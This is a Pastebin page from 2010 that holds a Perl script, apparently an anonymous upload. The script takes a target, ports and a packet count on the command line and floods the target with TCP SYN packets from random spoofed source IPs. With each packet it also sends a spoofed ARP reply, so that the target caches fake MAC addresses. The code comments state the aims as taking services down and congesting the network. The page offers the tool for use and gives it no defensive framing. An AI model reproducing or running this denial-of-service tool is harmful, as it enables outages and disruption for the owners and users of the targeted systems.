Recent Posts
None | 17 sec ago
C# | 1 min ago
Delphi | 1 min ago
Delphi | 1 min ago
Delphi | 2 min ago
Delphi | 2 min ago
C# | 2 min ago
PHP | 2 min ago
PHP | 2 min ago
Delphi | 2 min ago
Sitereport
Find cool info about any domain on the internet?
visit sitereport
Free Subdomains
Want a pastebin.com sub-domain for your community?
learn more...
What is pastebin?
Pastebin is a website that hosts all your text & code on dedicated servers for easy sharing.
learn more...
Learn a little bit about the new Pastebin.com on our help page. hide message
By anon on the 9th of Feb 2010 08:30:23 PM Download | Raw | Embed | Report
  1. #!/usr/bin/perl
  2. require 'getopts.pl';
  3.  
  4. use Net::RawIP;
  5. use Net::ARP;
  6. use Net::Pcap;
  7.  
  8. $dev = Net::Pcap::lookupdev(\$errbuf);
  9.  
  10. Getopts('t:p:n:');
  11.  
  12.  
  13. ### function to create random IP's.
  14. sub randip () {
  15.   $oct1 = int rand(200);
  16.   $oct2 = int rand(200);
  17.   $oct3 = int rand(200);
  18.   $oct4 = int rand(200);
  19.   $ip = join('.', "10","$oct2","$oct3","$oct4");
  20.   return("$ip");
  21. }
  22. ### function to spoof mac addresses.  *not pretty*
  23. sub randmac () {
  24.   $i1 = int rand(10);
  25.   $i2 = int rand(10);
  26.   $i3 = int rand(10);
  27.   $rmac = join(':', $i1,$i2,$i3,$i1,$i2,$i3);
  28.   return("$rmac");
  29. }
  30.  
  31. die "Usage: $0 -t  -p  -n \n"
  32. unless ($opt_t && $opt_p && $opt_n);
  33.  
  34. ### allow the user to specify a list of comma seperated ports via the command line.
  35. @ports = split(/\,/, $opt_p);
  36. $list = @ports;
  37.  
  38. $syn = new Net::RawIP;
  39. ### For some reason, arp_lookup doesn't always get the mac address on the first try
  40. Net::ARP::arp_lookup($dev,$opt_t,$mac);
  41. if($mac eq "Unknown") {
  42.   Net::ARP::arp_lookup($dev,$opt_t,$mac);
  43.   if($mac eq "Unknown") {
  44.     print "Unable to lookup MAC address.\n";
  45.     exit(1);
  46.   }
  47. }
  48.  
  49. ### super awesome output.
  50. print "Mac found - $mac\n";
  51. print "Hitting $opt_t on port(s) @ports with $opt_n packets....\n";
  52. ### start the loop
  53. for($i = 1;$i < $opt_n;$i++) {
  54.   ### randomly select a port out of the @ports array
  55.   $nlist = int rand($list);
  56.   $dport = $ports[$nlist];
  57.   $ranip = &randip;
  58.   $ranmac = &randmac;
  59.   $rport = int rand(65535);
  60.  
  61.   ### set up the socket..
  62.   $syn->set({
  63.       ip => {
  64.              daddr => $opt_t,
  65.              saddr => $ranip,
  66.             },
  67.  
  68.   ### specify the destination port and source port.. make sure the syn flag is enabled to
  69.   ### drop the services.  it's possible that using an icmp packet would be more effective
  70.   ### because the target machine will stop receiving packets if the service goes down due
  71.   ### the syn flood - that said, most everyone firewalls against icmp these days.
  72.       tcp => {
  73.               dest => $dport,
  74.               source => $rport,
  75.               ack => 0,
  76.               urg => 0,
  77.               rst => 0,
  78.               fin => 0,
  79.               psh => 0,
  80.               syn => 1
  81.              }
  82.       });
  83.   ### send the packet!
  84.       $syn->send;
  85.   ### now send a spoofed ARP reply from the spoofed IP so that the target machine caches the IP
  86.   ### with the fake mac address so that it stores it, rather than clearing them due to invalid
  87.   ### mac addresses.  this also generates a lot of network traffic and congestion because of all
  88.   ### of the 'who has' messages and replies - plus the tcp-syn+rst generated when the target machine
  89.   ### realizes that the connection attempt is invalid.
  90.   Net::ARP::send_packet($dev,
  91.                         $ranip,
  92.                         $opt_t,
  93.                         $ranmac,
  94.                         $mac,
  95.                         'reply');
  96. }
Submit a correction or amendment below. Make A New Post
To highlight particular lines, prefix each line with @h@
Syntax highlighting:
Post expiration:
Post exposure:
Name / Title:
Email: